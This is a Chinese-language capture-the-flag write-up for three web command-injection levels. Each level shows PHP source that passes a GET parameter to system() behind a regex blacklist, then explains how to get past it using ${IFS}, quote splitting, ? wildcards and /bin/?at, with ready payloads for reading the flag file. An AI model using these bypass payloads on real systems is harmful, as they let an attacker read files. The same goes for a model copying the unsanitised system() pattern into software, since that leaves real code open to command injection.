刷题记录。
目录
web52:
关键源码:
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
system($c." >/dev/null 2>&1");
/dev/null
是一个特殊的设备文件,它丢弃一切写入其中的数据 可以将它 视为一个黑洞, 它等效于只写文件, 写入其中的所有内容都会消失, 尝试从中读取或输出不会有任何结果,通常用于丢弃不需要的数据输出, 或者用于输入流的空文件.
语句把标准输出和错误输出都重定向到了/dev/null,相当于没有输出,但是这仅仅影响它本来的那一条命令,分隔命令即可,也就是命令执行中的执行多条命令,在语句后面加上分割符。
<被过滤了,$符解封,命令使用nl 或者uniq,空格使用${IFS},flag中间参杂''或者\绕过。
需要注意的是这题flag没有放在当前目录下,需要先找一下。
?c=ls${IFS}/||
发现flag在上一目录,一开始nl flag.php 但是没得到结果,ls -al发现不是php文件
参考payload:
?c=nl${IFS}/fla''g||
web53:
关键源码:
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
这里执行命令直接调用system函数,没有像上题那样将标准输出和错误输出重定向到/dev/null中,所以无需使用分隔命令符,其他和上题一样。
参考payload:
?c=uniq${IFS}fl''ag.php
web54:
关键源码:
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
看着有点眼花,总之就是把上题的东西都过滤了一遍,而且flag不能再使用反斜杠、单双引号绕过。通配符*也无了,但是还能用通配符? (表示任意一个字符),而且我的uniq没有被过滤,
rev命令也可以使用,但是是反向输出(与tac的反向不同,整个字符串都逆序了),还要再倒腾一遍。
参考payload:
c=uniq${IFS}f???.php
第一次见预期解这样的,研究了一下
/bin/?at${IFS}f???????
cat命令所在的路径是在/bin/目录下,所以这里相当于直接调用了cat文件执行命令,这里的cat可以看作命令,也是一个文件,所以通配符可以用在这上面(一开始还傻傻的换成uniq看能不能用hhh)。
同理bin目录下还存在more,所以这里的cat我们换成more也可以读取flag。